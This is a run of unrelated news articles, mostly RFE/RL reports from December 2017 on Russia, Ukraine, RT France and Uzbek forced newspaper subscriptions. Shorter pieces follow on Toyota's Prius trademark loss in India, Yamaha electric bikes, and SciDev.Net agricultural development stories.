In 2016, four years after leaving Russia, Rapoport set up an office in Kyiv and opened a private equity fund. It was tough going. Ukraines economy struggled amid an ongoing war with Russia-backed separatists in two eastern regions and the slow implementation of Western-backed reforms.

In social-media posts over the ensuing years, he was a vocal supporter of Ukraine and an outspoken critic of Putin.

Rapoport gained a degree of publicity in January 2017 after The New York Times reported that the daughter and son-in-law of newly elected President Donald Trump had purchased a mansion owned by him and his first wife. The mansion was located in an exclusive neighborhood of the U.S. capital.

In 2018, the open-source investigative organization Bellingcat reported that Rapoport, who was Jewish, had been the creator of a fictional persona named David Jewberg, who was frequently quoted in Ukrainian media as a senior Pentagon analyst.

With reporting by Todd Prince in Washington, D.C. and Mike Eckel in Prague
White House national security adviser H.R. McMaster says Western countries need to counter Russia's destabilizing behavior, saying that Moscow is running "a very sophisticated campaign of subversion" to undermine free and open societies.

In an interview with the BBC that was posted online on December 19, McMaster also said Russia's alleged meddling in the U.S. presidential election last year was "certainly" a national security threat.

U.S. President Donald Trump's new national security strategy, released a day earlier, labeled Russia and China "rival powers" that are seeking to "challenge American power, influence, and interests, attempting to erode American security and prosperity."

Of course, we have to counter Russia's destabilizing behavior and the sophisticated campaigns of propaganda and disinformation, McMaster said.

Those were "efforts to polarize communities and pit them against each other, especially in the democratic world and free and open societies," he said, adding that the objective was to "weaken their popular will and their resolve."

"I believe that Russia is engaged in a very sophisticated campaign of subversion to affect our confidence in democratic institutions, in democratic processes, including elections, he said.

Trump's national security adviser said that the Russian campaign was targeting both sides of the U.S. political landscape during the 2016 election campaign.

"They'll support very left groups; they'll support very right groups, he said. What they want to do is create the kind of tension, the kind of vitriol that undermines our confidence in who we are.

"One of the most important things is to pull the curtain back on this activity and to expose it," he added.

Russia denies it meddled in the election, despite what U.S. intelligence officials say is powerful evidence.

Responding to the new U.S. national security policy on December 19, the Kremlin denounced the "imperialist character" of the document and said it "cannot accept that the country is treated as a threat to the security of the United States.
2 Mohammad is among hundreds of Afghan shopkeepers at the Sevastopol Hotel. He was a soldier in the Afghan military in the 1980s and came to Moscow in the early 1990s. I already spoke some Russian when I was still in Afghanistan, and I had met Russians, so it wasnt that difficult to integrate here, he says. It also helps that there are so many of us Afghans here in Moscow." He still dreams of returning to Afghanistan. Maybe when Im an old man, he says.
Russia is holding a Norwegian man on suspicion of spying after he allegedly received classified documents from a Russian man who is also under arrest, an official said on December 19.

Frode Berg was ordered held in custody by Moscow's Lefortovo District Court on December 6, the Interfax news agency quoted court spokeswoman Yekaterina Krasnova as saying.

Berg has appealed the decision but a date for the hearing on his appeal has not yet been set, Krasnova said.

Russian media reports cited unnamed sources as saying that Berg was caught receiving classified material about the Russian Navy that he allegedly planned to hand over to Norwegian and U.S. intelligence agencies.

According to Interfax, Russian authorities allege that Berg was given the classified material by Aleksei Zhitnyuk, a Russian man who was arrested in late November on suspicion of treason.

Norwegian media reports said that Berg, 62, is a former border inspector and that the Norwegian Foreign Ministry was working to provide him with assistance.

Some reports suggested his arrest could be linked to what they said was his opposition to the construction of a fence along a small part of Norway's short border with Russia.

Norway built the 200-meter fence in 2016 after thousands of asylum seekers, many of them from Syria, crossed from Russia into Norway at the border post.

The reports come eight days after a Moscow court convicted an Estonian businessman of espionage and sentenced him to 12 years in prison.

Russia has imprisoned several people from neighboring countries including Estonia, Lithuania, and Ukraine on espionage charges, with tension rising over Moscow's seizure of Crimea in 2014 and involvement in a war against Kyiv's forces in eastern Ukraine.

Kremlin critics say Russia uses spy claims as a tool in geopolitcal competition.

Russian courts usually hold espionage trials behind closed doors, citing what they say is the need to protect classified information and state secrets.

With reporting by Interfax, Rosbalt, RIA, NRK, BBC, and vg.no
President Vladimir Putin has kicked off his reelection campaign by calling for the protection of Russia's "freedom" and "stability," suggesting the country needs to ward off influence from abroad and attempts by the domestic opposition to shake up politics.

Putin's remarks came in a speech to a loyal support group on December 19, a day after the formal start of the campaign for the March 18 election.

As he has in past campaigns, Putin painted a picture of a strong and self-reliant Russia pursuing its path from hardship to success -- with him at the helm.

"Following the breakup of the Soviet Union we heard a lot of sweet talk and nice speeches, but nobody actually helped us," Putin told the All-Russia Popular Front (ONF). "And we have never counted on anyone's help as we do not need any outside assistance."

Putin also suggested he inherited a country that was on its knees and turned it around after he came to power 18 years ago, asserting that in 2000 "many forecast the collapse and death of Russia."

"Indeed, the situation was very difficult -- even critical at times -- but we not only preserved Russia's territorial integrity and sovereignty, not only successfully passed through the renovation stage, but took real breakthrough steps in the most important directions of our development," Putin said.

"Today we must protect our statehood and freedom, and stability and harmony in society," he said. The words echoed past statements in which Putin has portrayed Russia as facing threats to its sovereignty from outside, particularly from the United States and the West, as well as dangers from domestic opponents he frequently says are out to cause chaos.

At an annual press conference he held on December 14, Putin accused opposition politician Aleksei Navalny -- a vocal Kremlin critic who has staged demonstrations and published reports alleging corruption among Putin's closest allies -- of "attempts to destabilize the country and foment social discord."

Navalny has been campaigning for the presidency since December 2016, but election officials said in June that he was ineligible to run due to a financial-crimes conviction that he contends was politically motivated and baseless. Supporters are planning rallies in 20 Russian cities including Moscow on December 24.

Putin announced his decision to run for a fourth term on December 6. His high approval ratings and control over the levers of power make his victory a foregone conclusion in Russia, where government critics say election campaigns and results are manipulated by the authorities.

Analysts say Putin is eager to score a strong win in a vote with a high turnout in order to make his mandate as strong as possible in what could be his final term as the constitution bars presidents from serving more than two consecutive terms.

The ONF was created in 2011, before Putin announced he would seek to return to the Kremlin after a stint as prime minister, and provides Putin with a pillar of support that is separate from the ruling United Russia party. At the press conference, Putin said that he would run as an independent candidate rather than being nominated by United Russia.

Putin and his allies say he brought stability to Russia in the wake of an economic crisis in the late 1990s and two devastating wars against separatists in the Chechnya region from 1994 to the early 2000s.

Critics say he has rolled back the advances in democracy and human rights that were made after the Soviet collapse. Detractors also say that the longtime former KGB officer has returned to Soviet-style methods of stifling dissent and has needlessly stoked confrontation with Washington and the West.

Putin was first elected in March 2000, after President Boris Yeltsin stepped down on the last day of 1999 and put him in charge as acting president.

More than 20 people have declared their intention to run in the March election, including Communist Party leader Gennady Zyuganov, nationalist Vladimir Zhirinovsky, liberal Grigory Yavlinsky, business ombudsman Boris Titov, and journalist and TV personality Ksenia Sobchak.

Presidential hopefuls have 20 days from December 18 to register for the election, and the Central Election Commission will later decide who gets on the ballot.
MOSCOW -- Just over a year ago, some Russian lawmakers raised a glass of bubbly to celebrate the victory of Donald Trump and his "America first" pledges in the U.S. presidential election.

But as President Trump announced his new national-security doctrine on December 18, there were accusations from parliament in Moscow that it promotes U.S. global hegemony.

The security-strategy document unveiled by Trump takes a sober line on Russia and China, declaring them threatening "revisionist" powers with which Washington will seek a "great partnership" while maintaining a guiding principle of "America First."

The document was decried by a raft of Russian lawmakers who said the United States is foolishly pursuing an outdated Pax Americana strategy in a fundamentally changed multipolar world, although the Kremlin -- while objecting to its designation as a threat -- identified what it described as "modest positive moments."

"Of course, we cannot agree with the view of our country as a threat to U.S. national security," President Vladimir Putin's spokesman, Dmitry Peskov, said in comments carried by TASS.



"But that said, there are some modest positive moments, including in particular the readiness to cooperate in fields that correlate to American interests. This absolutely corresponds with our approach, as expressed by the president. Because Moscow also seeks partnership with the U.S. when it is beneficial to us and when our American colleagues are prepared."

Shared Intelligence

Peskov said the "exemplary" model of such cooperation was a purported tip-off by the U.S. Central Intelligence Agency (CIA) to the Russian Federal Security Service (FSB) that was said to have helped foil a terrorist attack in St. Petersburg. In a phone call, Putin on December 17 reportedly thanked Trump for the intelligence sharing that led to several arrests.

Here, Peskov echoed Trump, who also hailed the shared intelligence, which he said may have saved thousands of lives, as he announced the national-security document.



Russian lawmakers, however, were more uniform in their dismay over the document.



Leonid Slutsky, head of the State Duma international affairs committee, told TASS that "the new national-security strategy is oriented exclusively toward the revival of American hegemony and...building a unipolar world." Slutsky claimed the security document marks "effectively a continuation of the demonizing of Russia in the world pushed by the [former President Barack] Obama administration."

Russia's relations with the West have been at a post-Cold War low since 2014, when pro-Western unrest in Kyiv toppled a Moscow-backed Ukrainian president before Russia annexed Ukraine's strategically important Crimean Peninsula and backed armed separatists in eastern Ukraine.

The election of Donald Trump in November 2016 was widely touted in Russia as an opportunity for closer relations with Washington after eight years of Obama, who was vilified on Russian state TV.

'Do It Yourselves!'

Trump has repeatedly praised Putin and spoken in favor of closer relations with Moscow, both before and since taking office. But U.S. intelligence-agency assertions that Russia interfered in the 2016 presidential election and multiple investigations into possible contacts between Trump campaign officials and Russians -- combined with bipartisan efforts in Congress to maintain a comparatively hard line on Russia -- have reduced Trump's political options with respect to Russia.

Hopes in Russia of a rapid improvement in relations with Washington have faded, perhaps most markedly in August, when Trump reluctantly signed new sanctions against Russia "for the sake of national unity." The Kremlin has occasionally publicly praised Trump, while state television has cast him as hamstrung by a fundamentally anti-Russian establishment.

Aleksei Pushkov, a lawmaker in the Federation Council, wrote on Twitter: "The U.S. thinks Russia and China are the main threats. Well then there is no need to ask for help on North Korea and Afghanistan. Proudly carry the U.S. flag! Do it yourselves!"

In a follow-up tweet, Pushkov continued: "Announcing Russia and China the main opponents promises nothing good for the U.S. global role. It's a strong tandem -- the US won't cope with it."

Writing on Facebook, Konstantin Kosachev, a senior member of the Federation Council, the upper house of the Russian parliament, said he believes Trump's national security doctrine indicates the United States wants to deploy more troops to Eastern Europe in violation, he said, of troop deployment regulations.

"The tone of the document leaves no doubt that the U.S. is not satisfied with the changes in the world over the past years and intends to wrap them back, having returned Pax Americana as the apparently fair world order," wrote Kosachev.


Russia is attempting to "sow dissension" and undermine democracy in Britain, France, and other Western nations using propaganda, subversion, and cyberattacks, Britain's national security adviser said.

Mark Sedwill told a parliamentary committee on December 18 that threats from Russia range from disinformation campaigns and other unconventional warfare to its increased military capability in the North Atlantic and Eastern Europe.

"We know that the Russian threat is definitely intensifying and diversifying," Sedwill said. "The Russian attitude has worsened more generally towards the West, and that seems set to continue."

Sedwill said Russia has planted fake stories in the media about the conduct of NATO soldiers in Eastern Europe, where NATO troops are based, to undermine their legitimacy.

He also accused Russia of meddling in the recent French elections, even though he said this had no chance of changing the outcome of the vote.

"It clearly was designed to undermine the citizen's trust in their systems, and we see quite a lot elsewhere," he said.

Sedwill declined to say how Britain would respond to any Russian cyberattack. But he said Britain has an advantage over Russia in being able to call on its NATO allies.

One of the assets the Russians dont have is allies, he said. "If you put together the British, French, and German defense budgetsit is about twice the Russian defense budget."

British officials have increasingly sounded alarms about threats they see emanating from Russia. Prime Minister Theresa May last month warned that Moscow is seeking to "sow discord in the West" and, addressing the Kremlin, proclaimed: "We know what you are doing, and you will not succeed."

The head of Britain's armed forces last week warned that Russia could disrupt the Internet and trillions of dollars in trade and financial transactions by damaging underwater communications cables.

Based on reporting by Reuters, Bloomberg, and Daily Mail


Russian state broadcaster RT has launched a French-language channel despite being branded this year as a "propaganda" outlet for the Kremlin by officials in the United States, France, and other Western countries.

With a launch budget of around 20 million euros, RT's French channel launch on December 18 became one of its most ambitious projects to date. RT, formerly known as Russia Today, already broadcasts in English, Spanish, and Arabic.

RT already has a foothold in France through a French-language website and a popular YouTube channel with videos dubbed or subtitled in French, some of which have chalked up hundreds of thousands of views.

But the channel's launch from a studio in western Paris comes after the Elysee palace refused to provide RT reporters with credentials to cover presidential news conferences and French President Emmanuel Macron strongly criticized the broadcaster.

Speaking alongside Russian President Vladimir Putin at a Paris press conference in April, Macron accused RT and fellow Kremlin-backed outlet Sputnik of being "agents of influence...and deceitful propaganda" who spread "defamatory untruths."

French regulators say they are on their guard. The head of France's CSA broadcasting authority, Olivier Schrameck, has warned that the agency will be closely watching RT and will intervene quickly in the event of what he called "anomalies."

In Britain, RT has received 14 warnings from regulator Ofcom about reporting that it deemed to be untruthful or biased, particularly on matters involving Ukraine, where Russia has backed separatists in a war against the government since 2014, and Syria, where Russia has propped up President Bashar al-Assad in a six-year civil war.

Speaking to journalists in Paris on December 18, Xenia Fedorova, the French-language station manager and editor in chief, conceded that the network has not as yet received credentials to cover the French presidency.

But she brushed off the criticism and cited some well-known and respected networks that receive funding, like RT, from their home countries, including BBC World and France 24.

"RT stands for news that is not covered by the mainstream media," she said. "We will keep the platform [open] to perspectives and opinions that are either not covered or silenced."

Russia Today was set up in the mid-2000s to counter what Russian President Vladimir Putin saw as the dominance of American and British media organizations, which he says have a pro-Western bias.

The channel is seen by its critics as giving a platform to conspiracy theorists as well as far-right or antiestablishment figures who attack what they portray as Western hypocrisy and corruption.

RT was accused by U.S. intelligence agencies earlier this year of being used by the Kremlin to interfere in the 2016 presidential election.

That charge led to an order from the U.S. Justice Department in September for RT to register its U.S. operator as a "foreign agent." The allegations also prompted Twitter to ban advertising from RT and Sputnik.

During the French election campaign earlier this year, Macron accused Sputnik of a "smear campaign" after it reported comments from a conservative legislator accusing him of being a "U.S. agent" backed by a "gay lobby."

At his annual press conference last week, Putin dismissed the allegations of meddling in elections as fiction from a "spy thriller."

Fedorova told AFP in October that "we are not coming to France with the intention of broadcasting fake or partial news."

"Our slogan is: Dare to question. We want to encourage viewers to ask questions and to think outside the information bubble of the mainstream media," she said, adding that editorial decisions will be made in Paris, not Moscow.

The new network aims to recruit a total of 150 people by the end of next year but has struggled to attract top French talent.

In an interview this month with the French daily Le Monde, Fedorova complained of "political pressure on people who want to work with RT or speak well of it."

RT claims that its affiliates in 38 countries are viewed by 70 million people. In France, it can be viewed only online or by subscribers to the Iliad broadband service.

Bouygues Telecom is also due to start distributing RT France in March 2018.

With reporting by Reuters and AFP


Russian Foreign Minister Sergei Lavrov has presided over a ceremony honoring the Russian ambassador to Turkey who was shot dead in Ankara a year ago.

On December 19, the anniversary of Andrei Karlov's killing, Lavrov unveiled a large plaque commemorating the diplomat on the facade of the Moscow apartment building where he used to live.

Lavrov said that Karlov was killed while performing his duties as a diplomat and added: "Todays ceremony is another step to immortalize his memory."

Karlov was shot while speaking at a photography exhibit in the Turkish capital by an attacker who shouted "Don't forget Aleppo!" and other words that seemed to refer to Russia's involvement in the war in neighboring Syria.

Relatives, Foreign Ministry, and Moscow city officials attended the ceremony in Moscow, as did a Russian Orthodox priest. Among Orthodox Christians in Russia, one year after a person's death is traditionally marked as a final farewell.

The killing did little damage to a Russian-Turkish rapprochement that was taking place at the time, with Russian President Vladimir Putin and Turkish President Recep Tayyip Erdogan seeking to mend ties.

Russia and Turkey support opposing sides in the Syrian war, and their relationship was badly damaged when Turkish jets shot down a Russian warplane near the Syrian border in November 2015.

Turkish authorities said Karlov's killer was Mevlut Mert Altintas, a 22-year-old policeman who was off-duty at the time. Altintas was shot dead by police at the scene.

Turkish officials have said they have arrested several other people suspected of involvement in the ambassador's killing over the past year.

On December 13, media reports in Turkey said authorities arrested a former police officer, Ramazan Yucel, in Ankara.

In November, a former producer at the state-run TRT television channel, Hayreddin Aydinbas, was arrested in the case.

Russia has given crucial military and diplomatic help in the nearly seven-year war in Syria, which has killed hundreds of thousands of people and driven millions from their homes. Turkey supports rebels seeking Assad's ouster.

With reporting by Interfax and RIA Novosti
The U.S. special envoy for the Ukraine conflict has said 2017 was the deadliest year in the region since the outbreak of violence three years ago, and warned that hostilities are again ratcheting up.

Kurt Volker's comments on December 19 came as international monitors reported intense shelling overnight near the town of Novoluhanske, part of the eastern Ukrainian region known as the Donbas.

UN officials reported eight civilians injured and dozens of homes damaged, with winter temperatures complicating matters.

"A lot of people think that this has somehow turned into a sleepy, frozen conflict and it's stable and now we have...a cease-fire. It's a problem but it's not a crisis," Volker said in a speech at the Atlantic Council, a Washington think tank.

"That's completely wrong. It is a crisis. This has been the most violent year, 2017, and frankly last night was one of the most violent nights, certainly since February, and possibly this year," he said.

A State Department official later provided RFE/RL with clarification and details, saying, "Its the worst fighting based on SMM cease-fire violations and civilian casualties since the Minsk agreements. The cumulative impact of three years of fighting has also created the worst humanitarian impact as well, according to the UN."

Volker later posted several messages to Twitter, suggesting that just before the "massive escalation" in cease-fire violations on December 18, Russia had withdrawn its officers from a coordinating body run jointly with Ukraine that is helping to implement the cease-fire.

The Organization for Security and Cooperation's (OSCE) Special Monitoring Mission to Ukraine later confirmed the Russian side's withdrawal from the Joint Center for Coordination and Control (JCCC), the OSCE said in a statement valid as of December 18 and published on December 19.



Russia's withdrawal from the body undermines the OSCEs operations and is an attempt by the Kremlin to force Kyiv into talks with representatives of the breakaway regions in eastern Ukraine, according to Vadym Chernysh, Ukraine's minister for temporarily occupied territories and internally displaced persons.

"The presence of Russian officers in the JCCC guaranteed, among other things, the safety of the OSCE mission's staff," Chernysh said.

Volker also warned that Russia-backed forces were close to seizing a water-treatment plant in the city of Donetsk, and he called for the withdrawal of heavy weapons from the area.

The chief monitor for the OSCE mission said a sharp deterioration in the security situation had seen cease-fire violations reaching levels not recorded since February.

Chief monitor Ertugrul Apakan said on December 19 that the latest escalation showed an established trend "in which a recommitment to the cease-fire by the sides was followed by a steady increase in the level of violence, culminating in fierce fighting."

His comments came on the heels of warnings from aid agencies over the humanitarian situation in the eastern Donbas region, particularly given a December 18 attack on the government-controlled village of Novoluhanske.

More than 10,300 people have been killed, and more than 1 million displaced, since the conflict erupted in April 2014, pitting Russia-backed separatist fighters against government forces.

Volker was appointed earlier this year to try and push forward an agreement reached between Ukraine and Russia, along with France and Germany in February 2015 in the capital of Belarus, Minsk, to end the conflict. But the agreement has gone unfulfilled.

The United States and European Union have pushed Moscow to allow a United Nations peacekeeping force to be deployed in eastern Ukraine, but there are disputes over where the force would be located, and whether it would be allowed to patrol Ukraine's border with Russia.

Volker indicated that no progress had been made in negotiations with Moscow.

With reporting by Christopher Miller in Kyiv
In Uzbekistan, where media has remained tightly controlled by the government even decades after the breakup of the Soviet Union, public-sector workers say they still don't have the freedom to choose whether to subscribe to state-run newspapers.

Many of those workers tell RFE/RL they are fed up with forced-subscription measures imposed by their managers that increase the circulation of state-run publications but make it harder to feed their families.

Teachers, doctors, hospital staff, and bank employees from across Uzbekistan say the state's annual subscription drive begins each autumn just after many of them finish obligatory stints harvesting cotton on state-run farms.

"Everyone must subscribe to at least two publications," a nurse at the Andijon Regional Emergency Medical Center told RFE/RL's Uzbek Service about the measures imposed by her managers.

"We have a choice about which government newspaper we subscribe to, but we are all obliged to buy a medical journal called Hamshira (Nurse)," the nurse said, asking not to be identified because she feared she would lose her job.

"Even the doctors must subscribe," she added. "It costs me about one-third of [one month's] salary, so I have to feed these publications instead of feeding my own children."

Keeping Tabs

Accounting records from the hospital obtained by RFE/RL confirm that managers keep tabs on whether staff are buying the publications and which state-run newspaper they're choosing.

In Uzbekistan's western region of Khorezm, teachers told RFE/RL that their administrators force them to subscribe to the state-run newspaper Halq So'zi (People's Word).

Requests for a popular state-run tabloid called Darakchi (The Herald) are refused.

Teachers say that's because their administrators buy Halq So'zi in bulk and it's up to them to distribute the publication to employees.

"For that publication, the administrators keep a list of subscribers and sometimes we never even get the publication," one teacher in Khorezm complained. "Other times, they are outdated -- more than three months old -- by the time we receive them."

Even pensioners said they were forced to buy state-run newspapers. They told RFE/RL that the subscription cost is automatically deducted from their pensions during the state's autumn subscription drive when they go to the post office to collect their cash stipend -- whether they request a publication or not.

"I never read the newspaper they force me to buy," one Tashkent pensioner told RFE/RL. "I take stacks of them, unread, to a man who has a kiosk on my street. He buys them from me for a symbolic price and wraps sunflower seeds in them. At least it's some compensation."

Propagating 'Good Things'

Shuhrat Jabborov, editor in chief of Halq So'zi, took exception to the term "forced subscription" when asked by Uzbek state TV about the practice.

"Newspapers are a form of propaganda," Jabborov said. "Newspapers propagate good things to people. It is an ideology. So we need to endorse, we need to propagate our newspaper. We call on people to read it. We need to attract readers. You call it 'forced subscription.' This is wrong."

In fact, under Uzbekistan's 1996 Law on the Protection of Consumer's Rights, "producers" cannot force citizens to buy their product.

Not surprisingly, Uzbekistan's state-run Federation for the Protection of Consumers' Rights says it has never received a complaint from a citizen about being forced to buy state publications.

All state employees who complained to RFE/RL about the practice said they feared losing their jobs if they made a formal complaint to state authorities.

A regional director for Matbuot Tarqatuvchi, the official distributor of all state publications in Uzbekistan, confirmed that state newspapers do not have the authority to force workers or state organizations to subscribe.

"State organizations themselves may be forcing their employees to subscribe to state publications in order to keep them informed," the regional director told RFE/RL on condition of anonymity. "If they didn't force people to subscribe, nobody would buy these newspapers and magazines. Nobody would read them."

Written by Ron Synovitz in Prague with reporting by RFE/RL Uzbek Service correspondent Khurmat Babadjanov


One of the largest car manufacturer in the world, Toyota lost a legal battle to a Haryana based manufacturing unit named Prius Auto. This could mean that Toyota would not be able to sell their best-selling hybrid car, which is globally known as Prius, by using the name Prius in India.

Though Toyota had launched Prius back in 1997, the name was not registered in India. Instead, Haryana based Prius Auto registered the name Prius in India in 2001. In India, Toyota registered the name Prius in 2010. This is the main reason Toyota lost the battle in Supreme Court.

Prius Auto website screenshot.

Toyota maintained that they were the first to register the name Prius in the world. Prius was trademarked in Japan in 1990. But as the name was not registered in India before 2010, Supreme Court gave the ruling in favour of Haryanas Prius Auto.

In the present appeal, P. Chidambram, who appeared on behalf of the Appellants, argued that recognition and reputation of a trade mark is not dependant on the actual sale of goods in India bearing the mark in question. Advertisement and promotion of the mark through different forms of media is sufficient to establish reputation and goodwill within a particular geographical area. He also urged that the test of passing off always rest upon a likelihood of confusion irrespective of the stage at which the matter may be considered. The fact that the trade mark Prius was registered in favour of the Respondents was irrelevant insofar as the plaintiffs claim for passing off is concerned.

The Court concluded the judgment by stating the below:

If goodwill or reputation in the particular jurisdiction (in India) is not established by the plaintiff, no other issue really would need any further examination to determine the extent of the plaintiffs right in the action of passing off that it had brought against the defendants in the Delhi High Court. Consequently, even if we are to disagree with the view of the Division Bench of the High Court in accepting the defendants version of the origin of the mark Prius, the eventual conclusion of the Division Bench will, nonetheless, have to be sustained. We cannot help but also to observe that in the present case the plaintiffs delayed approach to the Courts has remained unexplained. Such delay cannot be allowed to work to the prejudice of the defendants who had kept on using its registered mark to market its goods during the inordinately long period of silence maintained by the plaintiff.

This is not the first time something like this has happened in India. Audi lost battle to TT underwear (Audi TT not on sale in India), Skoda lost battle to Monte Carlo sweaters (Skoda Rapid Monte Carlo discontinued), Ford lost battle to Everest Masala (Ford Everest is renamed Ford Endeavour in India).

Toyotas Official Holding Statement:

We regret to note the Honble Supreme Court order on usage of trademark PRIUS by Prius Auto Industry, a Delhi based automotive accessories company. We are currently reviewing the contents of the order to decide on our next action.

Full Judgement by Supreme Court
Yasuo Ishihara, MD of Yamaha Motor Research and Development India has confirmed that the Japanese two wheeler brand, is conducting a feasibility study into the electric two wheeler space in India. Since the company already has such products on sale in other countries, transfer of know-how to India will not be a problem.

Though plans are in place to assess if electric vehicles could be feasible in India, the company is well aware that EVs cannot completely replace models that are running on internal combustion engines.

Yamaha Electric Bike Concept PES2

Along with such studies, the two wheeler manufacturer is also planning infrastructure development in collaboration with a partner. Investment into power units and batteries for EVs is also in the planning stage.

In an interview to news agency PTI, Yamaha said  We are at present conducting a feasibility study in this area (electric two wheelers). Yamaha has an edge in this segment as we already have such products in other countries. Transferring such products to India, it is not so difficult. I believe that the EV products cannot be the complete replacement to the current internal combustion engines. This is the one of the biggest study points.

Yamaha Electric Bike Concept PED2

This news comes a few days after TVS invested in a electric vehicle startup. Not only Yamaha and TVS, almost every two wheeler brand in the country is planning towards an electric future.

India is soon moving towards all electric vehicles by 2030 with the Government of India pushing for electric mobility in the country in view of rising air pollution. In view of these developments, Niti Aayog and Rocky Mountain Institute have surmised that this move with 100 percent electric vehicles by 2030 will create a US% 300 billion domestic market for EV batteries.
IFAD president Gilbert Houngbo makes the case for a rural transformation backed by affordable technology.

Gilbert Houngbo took over the presidency of the International Fund for Agricultural Development (IFAD) in April this year, following posts with other UN agencies and a four-year term as prime minister of Togo.

At the UK parliament last week (October 31), the All-Party Parliamentary Group on Agriculture hosted Houngbo for a talk on how IFAD is supporting rural communities as a provider of financing to smallholders through government loans. Theres a need to go beyond agriculture, he said, to achieve a rural transformation so that people are motivated to stay rather than move to cities. Houngbo spoke to SciDev.Net about what that transformation means and about making the necessary technologies not just available, but affordable.

You spoke about the need for a rural transformation, not just improving agriculture  what does that look like to you?

It doesn't matter who you are  if you find yourself in a rural area, where you don't have reliable energy, or reliable internet access, or to just go into the city and come back is a pain, or your kids cannot go to the central school of course you're going to look for leaving that rural setting as soon as you can. Let's be honest. It doesn't matter if you improve your productivity by ten-fold or not. So for me it's really about starting to make the rural area an area to have a decent life. Of course with a focus on agriculture as a way of earning enough income, as well as starting to create more non-farm activities. It's what I would call a comprehensive concept.

How does technology fit into this bigger vision and IFADs loans?

Technology is essential. What I'm advocating is for technology to be not only available, but affordable. So sometimes our [IFADs] loans to the government can be a way to help producers access that technology. Let me give you a clear example. Technology could be access to Internet. And therefore the loan that governments take can be used to make sure that you have wi-fi at the rural level; or to increase the availability of small solar electricity. Another dimension of making technology available is purely making sure that information is accessible to smallholders, and that there is training for them to know what technology is best to use. It can be in terms of how you want to plant, for example.

Are there particular examples where that has worked?

In IFAD we have several countries where we helped introduce improved planting techniques that have been developed by the government in Brazil [through the EMBRAPA (Agricultural Innovation Marketplace) programme].Before that can happen  and that's part of South-South cooperation  you need to make sure that your farmers know how to use the equipment. You cannot force them. They have to say yes, I really want to have this. So preparing that ground is a non-lending activity first. Sometimes it's also the know-how that you bring from one country to another.

You talked about making the actual farming work less painful. Do you have specific improvements in mind?

For me this is where I almost 100 per cent link it to the technology. You just have to go to some countries in Africa or Asia, and you will notice that the equipment being used is still so rudimentary. There's no way you're going to interest a youngster today, who has access to social media, to go and do that for a living. So technology is important for all the equipment you need  from preparing the soil to planting, improved seed, small irrigation, and having that small-solar access so that in the evening you can listen to music or charge your cellphone, or produce an activity that complements your farming And it is not just about having the technology, it's being able to produce it at a cost that's much more affordable. Because if poor smallholders see technology that is nice but don't even think about it, this is five years of savings for me, they won't even think it's something they want to have.

What needs to happen for that cost to drop?

It's the scientific research first. And also sometimes the international community, such as IFAD, contributing to really make the matter known, so that the private sector can start making the necessary adjustments from an impact investment perspective  with a scenario where those companies that are developing that technology can make their money, but maybe at a return rate lower than what usually they would expect.

This Q&A was edited for brevity and clarity.
[KISUMU] The delay in approving the use of genetically modified (GM) crops is contributing to malnutrition and poverty in Sub-Saharan Africa, a study has found.

Many African governments are grappling with opponents and proponents of GM crops. This means their adoption is delayed, especially when opponents use the strategy of announcing uncertainty shortly before decisions are taken about them, according to the study published in PLOS One journal last month (27 July).

Approving the crops can be a very cheap strategy to increase income of farm-households and generate economic growth. Justus Wesseler

Justus Wesseler, a co-author of the study and professor of agricultural economics at Wageningen University, the Netherlands, tells SciDev.Net that the regulatory delay of genetically engineered crops impacts negatively on food production in African countries leading to malnutrition, which indirectly translates to high health costs.

Adopting GM crops such as banana and maize could help save lives in some Sub-Saharan African countries, according to the study.

The costs of a delay in approval of Bt [genetically modified] maize for Kenya, black sigatoka-resistant banana for Uganda, and corn borer-resistant cowpeas for Benin, Niger and Nigeria not only include the foregone benefits for producers and consumers in economic terms but also the indirect health costs in the form of nutrition foregone, which can be translated into lives saved, Wesseler explains.

The team of researchers from Germany, the Netherlands, South Africa and the United States used data from previous studies to estimate the average annual consumer and producer surplus  a measure of the economic benefits  and the negative impact of malnourishment.

For example, according to the study, a years delay in approving the use of pod borer- resistant cowpea in Nigeria could cost the country US$33-46 million, and between 100 and 3,000 lives.

The calculations considered that adoption of the technology will take time and that not all farmers will adopt the new crops, explains Wesseler. The change in malnourishment has been calculated by using the percentage in yield increase and assuming a similar increase in percentage of consumption among children in rural areas.

He says that when adopted by governments, crops engineered to be resistant to pests and diseases could improve local varieties.

The results show that it is extremely costly to delay the approval of those crops we investigated and that the delay in particular harms children in rural areas, adds Wesseler. Approving the crops can be a very cheap strategy to increase income of farm-households and generate economic growth as well as to reduce malnourishment.

Daniel Otaye, a senior lecturer and chairman of the Biological Sciences Department at Egerton University, Kenya, says adoption of genetically engineered crops could eradicate perennial food shortages in most African countries, thus lowering the cost of living. These are good concerns that will help eliminate poverty if adopted, he adds.

Otaye notes a need for creating more awareness on the importance of GM crops and African policy makers have to be flexible in adopting them.

However, genetically engineered crops remain controversial. There are concerns they may lead to long-term environmental impacts, encourage monocultures that reduce biodiversity, and lead farmers to become dependent on a corporate seed supply.

According to Peter Mokaya, managing director of the Kenya-based Organic Consumers Alliance, Africa does not need GM crops as they are causing soil deterioration and by extension nutritional deficiencies.

There is more than enough food to feed over 10 billion inhabitants of this world, says Mokaya, using other ways that are in line with the sustainable development goals.

What policymakers need is the correct information that GMOs are not necessary to feed Africans, he says.

This piece was produced by SciDev.Nets Sub-Saharan Africa English desk.
Joining a high-yield pepper plant sapling to the roots of a strong and resistant variety could help pepper farmers cope with lower rainfall, a study has found.

An experiment using the technique of merging two plants, known as grafting, resulted in higher fruit yield during periods of less rain. Plants also grew much better in salty soil, a by-product of drought, the researchers found. The results of the study were published last month in Scientia Horticulturae.

Peppers are native to Mexico, but are grown in many developing countries  both as the bell pepper vegetable and chili pepper to make spices. The plant is a particularly important commercial crop in Latin America and Asia. Around 26 million tons of peppers were grown commercially around the world in 2007.

Grafting allows for the combination of the desired shoot characteristics with roots that can overcome environmental stress Angeles Calatayud

The Spanish research team took saplings of commercially grown Adige Lamuyo peppers and grafted these onto wild peppers. They also grew the pepper on its own as a control group. For the third part of the experiment, the researchers grew the grafted and original plants outdoors in one normal field and one with salt and irrigation problems.

The research showed that peppers grafted onto Capsicum anuum, a wild pepper plant, were much better at dealing with drought conditions and high levels of salt in the soil. The yield of the grafted plants was 40 per cent higher than that of the ungrafted plants grown from seed.

Pepper grafting could become an environmentally friendly adaptation strategy, says Angeles Calatayud, a researcher at the Instituto Valenciano de Investigaciones Agrarias in Valencia, Spain, and co-author of the paper. Grafting allows for the combination of the desired shoot characteristics with roots that can overcome environmental stress.

